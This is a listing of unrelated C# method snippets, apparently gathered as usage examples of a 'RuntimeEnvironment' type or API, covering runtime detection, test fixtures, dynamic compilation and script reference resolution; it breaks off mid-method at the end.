private LibraryLoader(RuntimeEnvironment _env, ScriptingEngine _engine) : base(new LoadedModuleHandle(), true) { this._env = _env; this._engine = _engine; this._customized = false; }
public LibraryResolver(ScriptingEngine engine, RuntimeEnvironment env) { _env = env; _engine = engine; _libs = new List<Library>(); this.SearchDirectories = new List<string>(); }
public RuntimeEnvironment GetRuntimeEnvironment( IUnitTestElement element, RuntimeEnvironment projectRuntimeEnvironment, TargetPlatform targetPlatform, IUnitTestLaunch launch) { return new RuntimeEnvironment { PlatformType = PlatformType.x86, PlatformVersion = PlatformVersion.v4_0 }; }
private LibraryLoader(LoadedModuleHandle moduleHandle, RuntimeEnvironment _env, ScriptingEngine _engine): base(moduleHandle) { this._env = _env; this._engine = _engine; this._customized = true; _engine.InitializeSDO(this); }
private static void RegisterGlobalContext(Type contextType, RuntimeEnvironment environment) { var attribData = (GlobalContextAttribute)contextType.GetCustomAttributes(typeof(GlobalContextAttribute), false)[0]; if (attribData.ManualRegistration) return; var method = contextType.GetMethod(INSTANCE_RETRIEVER_NAME, System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public); System.Diagnostics.Trace.Assert(method != null, "Global context must have a static method " + INSTANCE_RETRIEVER_NAME); var instance = (IAttachableContext)method.Invoke(null, null); GlobalsManager.RegisterInstance(instance); environment.InjectObject(instance, false); }
private static void RegisterSystemEnum(Type enumType, RuntimeEnvironment environment) { var method = enumType.GetMethod(INSTANCE_RETRIEVER_NAME, System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public); System.Diagnostics.Trace.Assert(method != null, "System enum must have a static method " + INSTANCE_RETRIEVER_NAME); var instance = (IValue)method.Invoke(null, null); GlobalsManager.RegisterInstance(instance); var enumMetadata = (SystemEnumAttribute)enumType.GetCustomAttributes(typeof(SystemEnumAttribute), false)[0]; environment.InjectGlobalProperty(instance, enumMetadata.GetName(), true); if(enumMetadata.GetAlias() != String.Empty) environment.InjectGlobalProperty(instance, enumMetadata.GetAlias(), true); }
public static UnitTestRun GetOrCreateSilverlightRun(this IUnitTestLaunch launch, PlatformID silverlightPlatform) { var runs = launch.GetRuns(); var silverlightRun = runs.Values.FirstOrDefault(run => run.GetSilverlightPlatformVersion() == silverlightPlatform.Version); if (silverlightRun == null) { var runtimeEnvironment = new RuntimeEnvironment { PlatformType = PlatformType.x86, PlatformVersion = PlatformVersion.v4_0 }; silverlightRun = new UnitTestRun((UnitTestLaunch)launch, runtimeEnvironment); runs.Add(silverlightRun.ID, silverlightRun); } return silverlightRun; }
public static void DiscoverGlobalContexts(RuntimeEnvironment environment, System.Reflection.Assembly assembly) { var allTypes = assembly.GetTypes(); var enums = GetMarkedTypes(allTypes.AsParallel(), typeof(SystemEnumAttribute)); foreach (var item in enums) { RegisterSystemEnum(item, environment); } var contexts = GetMarkedTypes(allTypes.AsParallel(), typeof(GlobalContextAttribute)); foreach (var item in contexts) { RegisterGlobalContext(item, environment); } }
public HostedScriptEngine() { _engine = new ScriptingEngine(); _env = new RuntimeEnvironment(); _engine.AttachAssembly(System.Reflection.Assembly.GetExecutingAssembly(), _env); _globalCtx = new SystemGlobalContext(); _globalCtx.EngineInstance = _engine; _env.InjectObject(_globalCtx, false); _engine.Environment = _env; InitLibrariesByDefault(); }
public static RuntimeEnvironment GetRuntimeEnvironment() { if (_RuntimeEnvironment == RuntimeEnvironment.Unknown) { if (Type.GetType("Mono.Runtime") != null) { _RuntimeEnvironment = RuntimeEnvironment.Mono; } else { _RuntimeEnvironment = RuntimeEnvironment.MS_Net; } } return _RuntimeEnvironment; }
public static LibraryLoader Create(ScriptingEngine engine, RuntimeEnvironment env, string processingScript) { var code = engine.Loader.FromFile(processingScript); var compiler = engine.GetCompilerService(); compiler.DefineVariable("ЭтотОбъект", SymbolType.ContextProperty); for (int i = 0; i < _methods.Count; i++) { var mi = _methods.GetMethodInfo(i); compiler.DefineMethod(mi); } var module = compiler.CreateModule(code); var loadedModule = engine.LoadModuleImage(module); return new LibraryLoader(loadedModule, env, engine); }
static Runtime() { if (Type.GetType("Mono.Runtime") != null) { /* * http://mono-project.com/FAQ:_Technical */ runtimeEnvironment = RuntimeEnvironment.Mono; name = "Mono"; } else if (Type.GetType("FXAssembly") != null) { runtimeEnvironment = RuntimeEnvironment.NetFx; name = ".NET Framework"; } else { runtimeEnvironment = RuntimeEnvironment.Unknown; name = ".NET Framework compatible"; } }
public void RuntimeEnvironment_InitializedCorrectly() { RuntimeEnvironment runtimeEnv = new RuntimeEnvironment( new BootstrapperContext { OperatingSystem = "Windows", OsVersion = "10.0", Architecture = "x64", RuntimeType = "CoreClr", RuntimeDirectory = "c:/temp" }); Assert.Equal(runtimeEnv.OperatingSystem, "Windows"); Assert.Equal(runtimeEnv.OperatingSystemVersion, "10.0"); Assert.Equal(runtimeEnv.RuntimeArchitecture, "x64"); Assert.Equal(runtimeEnv.RuntimeType, "CoreClr"); Assert.Equal(runtimeEnv.RuntimePath, "c:/temp"); }
public static KeyValuePair<UnitTestRunProperties, UnitTestRun> GetOrCreateSilverlightRun(this IUnitTestLaunch launch, PlatformID silverlightPlatform, IUnitTestProvider provider, ITaskRunnerHostController hostController) { var runs = launch.GetRuns(); var silverlightRun = runs.Values.FirstOrDefault(run => run.Value.GetSilverlightPlatformVersion() == silverlightPlatform.Version); if (silverlightRun.Value == null) { var runtimeEnvironment = new RuntimeEnvironment { PlatformType = PlatformType.x86, PlatformVersion = PlatformVersion.v4_0 }; var run = new UnitTestRun((UnitTestLaunch)launch, runtimeEnvironment); var runStrategy = new OutOfProcessUnitTestRunStrategy(SilverlightUnitTestProvider.GetTaskRunnerInfo(launch)); var runProperties = new UnitTestRunProperties(provider, null, runStrategy, runtimeEnvironment); runProperties.RunController = hostController; silverlightRun = new KeyValuePair<UnitTestRunProperties, UnitTestRun>(runProperties, run); runs.Add(run.ID, silverlightRun); } return silverlightRun; }
public RuntimeEnvironment GetRuntimeEnvironment(IUnitTestElement element, RuntimeEnvironment projectRuntimeEnvironment, IUnitTestLaunch launch) { return RuntimeEnvironment.Automatic; }
static Env() { if (PclExport.Instance == null) { throw new ArgumentException("PclExport.Instance needs to be initialized"); } #if NETCORE IsNetStandard = true; try { IsLinux = RuntimeInformation.IsOSPlatform(OSPlatform.Linux); IsWindows = RuntimeInformation.IsOSPlatform(OSPlatform.Windows); IsOSX = RuntimeInformation.IsOSPlatform(OSPlatform.OSX); IsNetCore3 = RuntimeInformation.FrameworkDescription.StartsWith(".NET Core 3"); var fxDesc = RuntimeInformation.FrameworkDescription; IsMono = fxDesc.Contains("Mono"); IsNetCore = fxDesc.StartsWith(".NET Core", StringComparison.OrdinalIgnoreCase); } catch (Exception) {} //throws PlatformNotSupportedException in AWS lambda IsUnix = IsOSX || IsLinux; HasMultiplePlatformTargets = true; IsUWP = IsRunningAsUwp(); #elif NETFX IsNetFramework = true; switch (Environment.OSVersion.Platform) { case PlatformID.Win32NT: case PlatformID.Win32S: case PlatformID.Win32Windows: case PlatformID.WinCE: IsWindows = true; break; } var platform = (int)Environment.OSVersion.Platform; IsUnix = platform == 4 || platform == 6 || platform == 128; if (File.Exists(@"/System/Library/CoreServices/SystemVersion.plist")) { IsOSX = true; } var osType = File.Exists(@"/proc/sys/kernel/ostype") ? File.ReadAllText(@"/proc/sys/kernel/ostype") : null; IsLinux = osType?.IndexOf("Linux", StringComparison.OrdinalIgnoreCase) >= 0; try { IsMono = AssemblyUtils.FindType("Mono.Runtime") != null; } catch (Exception) {} SupportsDynamic = true; #endif #if NETCORE IsNetStandard = false; IsNetCore = true; SupportsDynamic = true; IsNetCore21 = true; #endif #if NET6_0 IsNet6 = true; #endif #if NETSTANDARD2_0 IsNetStandard20 = true; #endif if (!IsUWP) { try { IsAndroid = AssemblyUtils.FindType("Android.Manifest") != null; if (IsOSX && IsMono) { var runtimeDir = RuntimeEnvironment.GetRuntimeDirectory(); //iOS detection no longer trustworthy so assuming iOS based on some current heuristics. TODO: improve iOS detection IsIOS = runtimeDir.StartsWith("/private/var") || runtimeDir.Contains("/CoreSimulator/Devices/"); } } catch (Exception) {} } SupportsExpressions = true; SupportsEmit = !(IsUWP || IsIOS); if (!SupportsEmit) { ReflectionOptimizer.Instance = ExpressionReflectionOptimizer.Provider; } VersionString = ServiceStackVersion.ToString(CultureInfo.InvariantCulture); ServerUserAgent = "ServiceStack/" + VersionString + " " + PclExport.Instance.PlatformName + (IsLinux ? "/Linux" : IsOSX ? "/macOS" : IsUnix ? "/Unix" : IsWindows ? "/Windows" : "/UnknownOS") + (IsIOS ? "/iOS" : IsAndroid ? "/Android" : IsUWP ? "/UWP" : "") + (IsNet6 ? "/net6" : IsNetStandard20 ? "/std2.0" : IsNetFramework ? "/netfx" : "") + (IsMono ? "/Mono" : "") + $"/{LicenseUtils.Info}"; __releaseDate = new DateTime(2001, 01, 01); }
public void Said554Test() { var status = PostFile(FileSystem.GetAbsolutePath(@"Apps\Management\Test\EmailStatus\TestData\Said554Test.eml", RuntimeEnvironment.GetSourceFolder())); Assert.AreEqual(HttpStatusCode.NoContent, status); Assert.IsNull(_emailVerificationsCommand.Member); }
// generate the code and compile it private void GenerateCode(int theVal) { // open the file for writing string fileName = "BruteForceSums"; Stream s = File.Open(fileName + ".cs", FileMode.Create); StreamWriter wrtr = new StreamWriter(s); wrtr.WriteLine( "// Dynamically created BruteForceSums class"); // create the class string className = "BruteForceSums"; wrtr.WriteLine( "class {0} : DynInvInterface.IComputer ", className); wrtr.WriteLine("{"); // create the method wrtr.WriteLine("\tpublic double ComputeSum()"); wrtr.WriteLine("\t{"); wrtr.WriteLine("\t// Brute force sum method"); wrtr.WriteLine("\t// For value = {0}", theVal); // write the brute force additions wrtr.Write("\treturn 0"); for (int i = 1; i <= theVal; i++) { wrtr.Write("+ {0}", i); } wrtr.WriteLine(";"); // finish method wrtr.WriteLine("\t}"); // end method wrtr.WriteLine("}"); // end class // close the writer and the stream wrtr.Close(); s.Close(); // Build the file ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; string compileString = "/c {0}csc /optimize+ "; compileString += "/r:\"DynInvInterface.exe\" "; compileString += "/target:library "; compileString += "{1}.cs > compile.out"; string frameworkDir = RuntimeEnvironment.GetRuntimeDirectory(); psi.Arguments = String.Format(compileString, frameworkDir, fileName); psi.WindowStyle = ProcessWindowStyle.Minimized; Process proc = Process.Start(psi); proc.WaitForExit(); // wait at most 2 seconds // Open the file, and get a // pointer to the method info Assembly a = Assembly.LoadFrom(fileName + ".dll"); theComputer = ( IComputer )a.CreateInstance(className); File.Delete(fileName + ".cs"); // clean up }
private Assembly CompileTextToAssembly() { string Text = XmlHelper.Value(Manager2Xml, "text"); bool VB = Text.IndexOf("Imports System") != -1; string Language; if (VB) { Language = CodeDomProvider.GetLanguageFromExtension(".vb"); } else { Language = CodeDomProvider.GetLanguageFromExtension(".cs"); } if (Language != null && CodeDomProvider.IsDefinedLanguage(Language)) { CodeDomProvider Provider = CodeDomProvider.CreateProvider(Language); if (Provider != null) { CompilerParameters Params = new CompilerParameters(); Params.GenerateInMemory = true; //Assembly is created in memory Params.TempFiles = new TempFileCollection(Path.GetTempPath(), false); Params.TreatWarningsAsErrors = false; Params.WarningLevel = 2; Params.ReferencedAssemblies.Add("System.dll"); Params.ReferencedAssemblies.Add("System.Xml.dll"); Params.ReferencedAssemblies.Add("System.Core.dll"); Params.ReferencedAssemblies.Add(Path.Combine(Configuration.ApsimBinDirectory(), "System.Data.SQLite.dll")); Params.ReferencedAssemblies.Add(Path.Combine(Configuration.ApsimBinDirectory(), "CSDotNetComponentInterface.dll")); Params.ReferencedAssemblies.Add(Path.Combine(Configuration.ApsimBinDirectory(), "DotNetProxies.dll")); Params.ReferencedAssemblies.Add(Path.Combine(Configuration.ApsimBinDirectory(), "CMPServices.dll")); Params.ReferencedAssemblies.Add(Path.Combine(Configuration.ApsimBinDirectory(), "CSGeneral.dll")); foreach (string v in XmlHelper.ValuesRecursive(Manager2Xml.ParentNode, "Reference")) { string val = Configuration.RemoveMacros(v); if (File.Exists(val)) { Params.ReferencedAssemblies.Add(val); } else if (File.Exists(RuntimeEnvironment.GetRuntimeDirectory() + val)) { Params.ReferencedAssemblies.Add(RuntimeEnvironment.GetRuntimeDirectory() + val); } else { Params.ReferencedAssemblies.Add(Path.Combine(Path.GetDirectoryName(DllFileName), val)); } } Params.TempFiles = new TempFileCollection(Path.GetTempPath()); Params.TempFiles.KeepFiles = false; string[] source = new string[1]; source[0] = Text; CompilerResults results = Provider.CompileAssemblyFromSource(Params, source); string Errors = ""; foreach (CompilerError err in results.Errors) { if (Errors != "") { Errors += "\r\n"; } Errors += err.ErrorText + ". Line number: " + err.Line.ToString(); } if (Errors != "") { throw new Exception(Errors); } return(results.CompiledAssembly); } } throw new Exception("Cannot compile manager script to an assembly"); }
public void Said550Test() { var status = PostFile(FileSystem.GetAbsolutePath(@"Apps\Management\Test\EmailStatus\TestData\Said550Test.eml", RuntimeEnvironment.GetSourceFolder())); Assert.AreEqual(HttpStatusCode.NoContent, status); Assert.AreEqual("*****@*****.**", _emailVerificationsCommand.Member.GetBestEmailAddress().Address); Assert.IsFalse(_emailVerificationsCommand.Member.GetBestEmailAddress().IsVerified); StringAssert.StartsWith(_emailVerificationsCommand.EmailBounceReason, "X-Postfix; host smtpin.ntlworld.com[81.103.221.10] said: 550"); }
/// <summary> /// Create a <see cref="ProjectInfo"/> structure initialized from a compilers command line arguments. /// </summary> public static ProjectInfo CreateProjectInfo(string projectName, string language, IEnumerable <string> commandLineArgs, string projectDirectory, Workspace workspace = null) { // TODO (tomat): the method may throw all sorts of exceptions. var tmpWorkspace = workspace ?? new AdhocWorkspace(DesktopMefHostServices.DefaultServices); var languageServices = tmpWorkspace.Services.GetLanguageServices(language); if (languageServices == null) { throw new ArgumentException(WorkspacesResources.UnrecognizedLanguageName); } var commandLineArgumentsFactory = languageServices.GetRequiredService <ICommandLineArgumentsFactoryService>(); var commandLineArguments = commandLineArgumentsFactory.CreateCommandLineArguments(commandLineArgs, projectDirectory, isInteractive: false, sdkDirectory: RuntimeEnvironment.GetRuntimeDirectory()); // TODO (tomat): to match csc.exe/vbc.exe we should use CommonCommandLineCompiler.ExistingReferencesResolver to deal with #r's var referenceResolver = new MetadataFileReferenceResolver(commandLineArguments.ReferencePaths, commandLineArguments.BaseDirectory); var referenceProvider = tmpWorkspace.Services.GetRequiredService <IMetadataService>().GetProvider(); var analyzerLoader = tmpWorkspace.Services.GetRequiredService <IAnalyzerService>().GetLoader(); var xmlFileResolver = new XmlFileResolver(commandLineArguments.BaseDirectory); var strongNameProvider = new DesktopStrongNameProvider(commandLineArguments.KeyFileSearchPaths); // resolve all metadata references. var boundMetadataReferences = commandLineArguments.ResolveMetadataReferences(new AssemblyReferenceResolver(referenceResolver, referenceProvider)); var unresolvedMetadataReferences = boundMetadataReferences.FirstOrDefault(r => r is UnresolvedMetadataReference); if (unresolvedMetadataReferences != null) { throw new ArgumentException(string.Format(WorkspacesResources.CantResolveMetadataReference, ((UnresolvedMetadataReference)unresolvedMetadataReferences).Reference)); } // resolve all analyzer references. foreach (var path in commandLineArguments.AnalyzerReferences.Select(r => r.FilePath)) { analyzerLoader.AddDependencyLocation(path); } var boundAnalyzerReferences = commandLineArguments.ResolveAnalyzerReferences(analyzerLoader); var unresolvedAnalyzerReferences = boundAnalyzerReferences.FirstOrDefault(r => r is UnresolvedAnalyzerReference); if (unresolvedAnalyzerReferences != null) { throw new ArgumentException(string.Format(WorkspacesResources.CantResolveAnalyzerReference, ((UnresolvedAnalyzerReference)unresolvedAnalyzerReferences).Display)); } AssemblyIdentityComparer assemblyIdentityComparer; if (commandLineArguments.AppConfigPath != null) { try { using (var appConfigStream = new FileStream(commandLineArguments.AppConfigPath, FileMode.Open, FileAccess.Read)) { assemblyIdentityComparer = DesktopAssemblyIdentityComparer.LoadFromXml(appConfigStream); } } catch (Exception e) { throw new ArgumentException(string.Format(WorkspacesResources.ErrorWhileReadingSpecifiedConfigFile, e.Message)); } } else { assemblyIdentityComparer = DesktopAssemblyIdentityComparer.Default; } var projectId = ProjectId.CreateNewId(debugName: projectName); // construct file infos var docs = new List <DocumentInfo>(); foreach (var fileArg in commandLineArguments.SourceFiles) { var absolutePath = Path.IsPathRooted(fileArg.Path) || string.IsNullOrEmpty(projectDirectory) ? Path.GetFullPath(fileArg.Path) : Path.GetFullPath(Path.Combine(projectDirectory, fileArg.Path)); var relativePath = FilePathUtilities.GetRelativePath(projectDirectory, absolutePath); var isWithinProject = FilePathUtilities.IsNestedPath(projectDirectory, absolutePath); var folderRoot = isWithinProject ? Path.GetDirectoryName(relativePath) : ""; var folders = isWithinProject ? GetFolders(relativePath) : null; var name = Path.GetFileName(relativePath); var id = DocumentId.CreateNewId(projectId, absolutePath); var doc = DocumentInfo.Create( id: id, name: name, folders: folders, sourceCodeKind: fileArg.IsScript ? SourceCodeKind.Script : SourceCodeKind.Regular, loader: new FileTextLoader(absolutePath, commandLineArguments.Encoding), filePath: absolutePath); docs.Add(doc); } // construct file infos for additional files. var additionalDocs = new List <DocumentInfo>(); foreach (var fileArg in commandLineArguments.AdditionalFiles) { var absolutePath = Path.IsPathRooted(fileArg.Path) || string.IsNullOrEmpty(projectDirectory) ? Path.GetFullPath(fileArg.Path) : Path.GetFullPath(Path.Combine(projectDirectory, fileArg.Path)); var relativePath = FilePathUtilities.GetRelativePath(projectDirectory, absolutePath); var isWithinProject = FilePathUtilities.IsNestedPath(projectDirectory, absolutePath); var folderRoot = isWithinProject ? Path.GetDirectoryName(relativePath) : ""; var folders = isWithinProject ? GetFolders(relativePath) : null; var name = Path.GetFileName(relativePath); var id = DocumentId.CreateNewId(projectId, absolutePath); var doc = DocumentInfo.Create( id: id, name: name, folders: folders, sourceCodeKind: SourceCodeKind.Regular, loader: new FileTextLoader(absolutePath, commandLineArguments.Encoding), filePath: absolutePath); additionalDocs.Add(doc); } // If /out is not specified and the project is a console app the csc.exe finds out the Main method // and names the compilation after the file that contains it. We don't want to create a compilation, // bind Mains etc. here. Besides the msbuild always includes /out in the command line it produces. // So if we don't have the /out argument we name the compilation "<anonymous>". string assemblyName = (commandLineArguments.OutputFileName != null) ? Path.GetFileNameWithoutExtension(commandLineArguments.OutputFileName) : "<anonymous>"; // TODO (tomat): what should be the assemblyName when compiling a netmodule? Should it be /moduleassemblyname var projectInfo = ProjectInfo.Create( projectId, VersionStamp.Create(), projectName, assemblyName, language: language, compilationOptions: commandLineArguments.CompilationOptions .WithXmlReferenceResolver(xmlFileResolver) .WithAssemblyIdentityComparer(assemblyIdentityComparer) .WithStrongNameProvider(strongNameProvider) .WithMetadataReferenceResolver(new AssemblyReferenceResolver(referenceResolver, referenceProvider)), parseOptions: commandLineArguments.ParseOptions, documents: docs, additionalDocuments: additionalDocs, metadataReferences: boundMetadataReferences, analyzerReferences: boundAnalyzerReferences); return(projectInfo); }
private static string GetDE_InstallPath() { return(RuntimeEnvironment.GetRuntimeDirectory()); }
/// <summary> /// Loads references, set options and execute files specified in the initialization file. /// Also prints logo unless <paramref name="isRestarting"/> is true. /// </summary> private async Task <EvaluationState> InitializeContextAsync( Task <EvaluationState> lastTask, RemoteAsyncOperation <RemoteExecutionResult> operation, string initializationFileOpt, bool isRestarting) { Debug.Assert(initializationFileOpt == null || PathUtilities.IsAbsolute(initializationFileOpt)); var state = await ReportUnhandledExceptionIfAny(lastTask).ConfigureAwait(false); try { // TODO (tomat): this is also done in CommonInteractiveEngine, perhaps we can pass the parsed command lines to here? if (!isRestarting) { Console.Out.WriteLine(_replServiceProvider.Logo); } if (File.Exists(initializationFileOpt)) { Console.Out.WriteLine(string.Format(FeaturesResources.LoadingContextFrom, Path.GetFileName(initializationFileOpt))); var parser = _replServiceProvider.CommandLineParser; // The base directory for relative paths is the directory that contains the .rsp file. // Note that .rsp files included by this .rsp file will share the base directory (Dev10 behavior of csc/vbc). var rspDirectory = Path.GetDirectoryName(initializationFileOpt); var args = parser.Parse(new[] { "@" + initializationFileOpt }, rspDirectory, RuntimeEnvironment.GetRuntimeDirectory(), null /* TODO: pass a valid value*/); foreach (var error in args.Errors) { var writer = (error.Severity == DiagnosticSeverity.Error) ? Console.Error : Console.Out; writer.WriteLine(error.GetMessage(CultureInfo.CurrentCulture)); } if (args.Errors.Length == 0) { // TODO (tomat): other arguments // TODO (tomat): parse options var metadataResolver = CreateMetadataReferenceResolver(args.ReferencePaths, rspDirectory); _hostObject.ReferencePaths.Clear(); _hostObject.ReferencePaths.AddRange(args.ReferencePaths); _hostObject.SourcePaths.Clear(); var metadataReferences = new List <PortableExecutableReference>(); foreach (CommandLineReference cmdLineReference in args.MetadataReferences) { // interactive command line parser doesn't accept modules or linked assemblies Debug.Assert(cmdLineReference.Properties.Kind == MetadataImageKind.Assembly && !cmdLineReference.Properties.EmbedInteropTypes); var resolvedReferences = metadataResolver.ResolveReference(cmdLineReference.Reference, baseFilePath: null, properties: MetadataReferenceProperties.Assembly); if (!resolvedReferences.IsDefaultOrEmpty) { metadataReferences.AddRange(resolvedReferences); } } // only search for scripts next to the .rsp file: var sourceSearchPaths = ImmutableArray <string> .Empty; var rspState = new EvaluationState( state.ScriptStateOpt, state.ScriptOptions.AddReferences(metadataReferences), sourceSearchPaths, args.ReferencePaths, rspDirectory); foreach (CommandLineSourceFile file in args.SourceFiles) { // execute all files as scripts (matches csi/vbi semantics) string fullPath = ResolveRelativePath(file.Path, rspDirectory, sourceSearchPaths, displayPath: true); if (fullPath != null) { var newScriptState = await ExecuteFileAsync(rspState, fullPath).ConfigureAwait(false); if (newScriptState != null) { rspState = rspState.WithScriptState(newScriptState); } } } state = new EvaluationState( rspState.ScriptStateOpt, rspState.ScriptOptions, ImmutableArray <string> .Empty, args.ReferencePaths, state.WorkingDirectory); } } if (!isRestarting) { Console.Out.WriteLine(FeaturesResources.TypeHelpForMoreInformation); } } catch (Exception e) { ReportUnhandledException(e); } finally { state = CompleteExecution(state, operation, success: true); } return(state); }
static void Main(string[] args) { int?a = 4; int?b = 5; int?c = Convert.ToInt32(Convert.ToString(21, 8)); Console.WriteLine(a ?? b ?? c); Console.WriteLine(a.GetType().ToString()); Console.WriteLine(c.GetType().ToString()); ShowAttributes(typeof(Program)); ShowAttributes(typeof(MyFlags)); MyFlags flag = new MyFlags(); flag = MyFlags.Black | MyFlags.Blue | MyFlags.Red; Console.WriteLine(flag.ToString()); Console.WriteLine(RuntimeEnvironment.GetSystemVersion()); Console.WriteLine(Environment.OSVersion.Version.Major); #region // int[] source = { 1,2,3,4,5,6,7,8,9,10}; // int[] dest=new int[source.Length]; // Array.Copy(source, dest, 3); // foreach (var item in dest) // { // Console.WriteLine(item); // } // Console.WriteLine("\n\n"); // Array.ForEach(source, item => Console.WriteLine(item)); //var modByThree= Array.FindAll(source, (item) => item % 3 == 0); //Array.ForEach(modByThree, item => Console.WriteLine(item)); //int[][] jag ={ // new[]{1,2,3}, // new[]{3,4,6} // }; //Console.WriteLine(jag.ToString()); #endregion #region //int testCount = 20; //Stopwatch sw; //// 二维数组 //int[,] a2Dim = new int[ElementCount, ElementCount]; ////二维的数组的竖着 //int[][] aJagged=new int[ElementCount][]; //for (int i = 0; i <aJagged.GetUpperBound(0); i++) //{ // aJagged[i]=new int[ElementCount]; //} ////1、使用安全方法访问所有数组元素 //sw = Stopwatch.StartNew(); //for (int i = 0; i < testCount; i++) //{ // SafeDimArrayAccess(a2Dim); //} //Console.WriteLine("使用安全方法访问数组用时" + sw.Elapsed); ////2、使用交错数组访问所有数组元素 //sw = Stopwatch.StartNew(); //for (int i = 0; i < testCount; i++) //{ // SafeJaggedArrayAccess(aJagged); //} //Console.WriteLine("使用交错数组访问数组用时" + sw.Elapsed); ////3、使用不安全方法访问所有数组元素 //sw = Stopwatch.StartNew(); //for (int i = 0; i < testCount; i++) //{ // UnSafe2DimArrayAccess(a2Dim); //} //Console.WriteLine("使用不安全方法访问数组用时" + sw.Elapsed); #endregion #region //StackallocDemo(); //InlineArrayDemo(); #endregion #region Action action = null; action += new Action(Program.MyVoidNoneMethod1); action += new Action(Program.MyVoidNoneMethod2); action += Program.MyVoidNoneMethod2; action += new Action(new Program().MyInsMethod3); action.Invoke(); var list = action.GetInvocationList(); foreach (var item in list) { ((Action)item).Invoke(); item.DynamicInvoke(null); } //Console.WriteLine(action.Target.ToString()); Console.WriteLine(action.Method.Name); //action -= new Program().MyVoidNoneMethod1; //action -= new Action(new Program().MyVoidNoneMethod1); action = (Action)Delegate.Remove(action, new Action(Program.MyVoidNoneMethod1)); action -= new Action(new Program().MyInsMethod3); action.Invoke(); var list2 = action.GetInvocationList(); foreach (var item in list2) { ((Action)item).Invoke(); item.DynamicInvoke(null); } //Console.WriteLine(action.Target.ToString()); // Console.WriteLine(action.Method.Name); #endregion Console.WriteLine("over"); Console.ReadLine(); }
private static IEnumerable <string> GetFrameworkPaths() { //// Concat(Path.GetDirectoryName(typeof(Microsoft.CSharp.RuntimeHelpers.SessionHelpers).Assembly.Location)). return(GlobalAssemblyCache.RootLocations.Concat(RuntimeEnvironment.GetRuntimeDirectory())); }
public void TestInvalidExtension() { var filePath = FileSystem.GetAbsolutePath(@"Test\Data\Resumes\ProfessionalResume.doc", RuntimeEnvironment.GetSourceFolder()); using (var stream = File.Open(filePath, FileMode.Open)) { _employerLogosCommand.SaveLogo(new StreamFileContents(stream), filePath); } }
public void TestSavePng() { Guid fileReferenceId; var filePath = FileSystem.GetAbsolutePath(@"Test\Data\Photos\ProfilePhoto.png", RuntimeEnvironment.GetSourceFolder()); using (var stream = File.Open(filePath, FileMode.Open)) { fileReferenceId = _employerLogosCommand.SaveLogo(new StreamFileContents(stream), filePath).Id; } var fileReference = _filesQuery.GetFileReference(fileReferenceId); Assert.AreEqual(Path.GetFileName(filePath), fileReference.FileName); Assert.AreEqual("image/png", fileReference.MediaType); Assert.AreEqual(".png", fileReference.FileData.FileExtension); Assert.AreEqual(FileType.CompanyLogo, fileReference.FileData.FileType); }
public void References2() { var options = ScriptOptions.Default. WithMetadataResolver(ScriptMetadataResolver.Default.WithSearchPaths(RuntimeEnvironment.GetRuntimeDirectory())). AddReferences("System.Core", "System.dll"). AddReferences(typeof(System.Data.DataSet).Assembly); var process = CSharpScript.EvaluateAsync <Process>($@" #r ""{typeof(System.Xml.Serialization.IXmlSerializable).Assembly.Location}"" new System.Data.DataSet(); System.Linq.Expressions.Expression.Constant(123); System.Diagnostics.Process.GetCurrentProcess() ", options).Result; Assert.NotNull(process); }
public void SearchPaths1() { var options = ScriptOptions.Default.WithMetadataResolver(ScriptMetadataResolver.Default.WithSearchPaths(RuntimeEnvironment.GetRuntimeDirectory())); var result = CSharpScript.EvaluateAsync($@" #r ""System.Data.dll"" #r ""System"" #r ""{typeof(System.Xml.Serialization.IXmlSerializable).GetTypeInfo().Assembly.Location}"" new System.Data.DataSet() ", options).Result; Assert.True(result is System.Data.DataSet, "Expected DataSet"); }
public abstract int Eval(RuntimeEnvironment runtimeEnvironment, FunctionEnvironment functionEnvironment);
static IEnumerable <IRunnerReporter> GetAvailableRunnerReporters(IEnumerable <string> sources) { #if WINDOWS_UAP // No reporters on UWP return(Enumerable.Empty <IRunnerReporter>()); #elif NETCOREAPP1_0 // Combine all input libs and merge their contexts to find the potential reporters var result = new List <IRunnerReporter>(); var dcjr = new DependencyContextJsonReader(); var deps = sources.Select(Path.GetFullPath) .Select(s => s.Replace(".dll", ".deps.json")) .Where(File.Exists) .Select(f => new MemoryStream(Encoding.UTF8.GetBytes(File.ReadAllText(f)))) .Select(dcjr.Read); var ctx = deps.Aggregate(DependencyContext.Default, (context, dependencyContext) => context.Merge(dependencyContext)); dcjr.Dispose(); var depsAssms = ctx.GetRuntimeAssemblyNames(RuntimeEnvironment.GetRuntimeIdentifier()) .ToList(); // Make sure to also check assemblies within the directory of the sources var dllsInSources = sources.Select(Path.GetFullPath) .Select(Path.GetDirectoryName) .Distinct(StringComparer.OrdinalIgnoreCase) .SelectMany(p => Directory.GetFiles(p, "*.dll").Select(f => Path.Combine(p, f))) .Select(f => new AssemblyName { Name = Path.GetFileNameWithoutExtension(f) }) .ToList(); foreach (var assemblyName in depsAssms.Concat(dllsInSources)) { try { var assembly = Assembly.Load(assemblyName); foreach (var type in assembly.DefinedTypes) { #pragma warning disable CS0618 if (type == null || type.IsAbstract || type == typeof(DefaultRunnerReporter).GetTypeInfo() || type == typeof(DefaultRunnerReporterWithTypes).GetTypeInfo() || type.ImplementedInterfaces.All(i => i != typeof(IRunnerReporter))) { continue; } #pragma warning restore CS0618 var ctor = type.DeclaredConstructors.FirstOrDefault(c => c.GetParameters().Length == 0); if (ctor == null) { ConsoleHelper.SetForegroundColor(ConsoleColor.Yellow); Console.WriteLine($"Type {type.FullName} in assembly {assembly} appears to be a runner reporter, but does not have an empty constructor."); ConsoleHelper.ResetColor(); continue; } result.Add((IRunnerReporter)ctor.Invoke(new object[0])); } } catch { continue; } } return(result); #elif NET452 var result = new List <IRunnerReporter>(); var runnerPath = Path.GetDirectoryName(Assembly.GetExecutingAssembly().GetLocalCodeBase()); var runnerReporterInterfaceAssemblyFullName = typeof(IRunnerReporter).Assembly.GetName().FullName; foreach (var dllFile in Directory.GetFiles(runnerPath, "*.dll").Select(f => Path.Combine(runnerPath, f))) { Type[] types; try { var assembly = Assembly.LoadFile(dllFile); // Calling Assembly.GetTypes can be very expensive, while Assembly.GetReferencedAssemblies // is relatively cheap. We can avoid loading types for assemblies that couldn't possibly // reference IRunnerReporter. if (!assembly.GetReferencedAssemblies().Where(name => name.FullName == runnerReporterInterfaceAssemblyFullName).Any()) { continue; } types = assembly.GetTypes(); } catch (ReflectionTypeLoadException ex) { types = 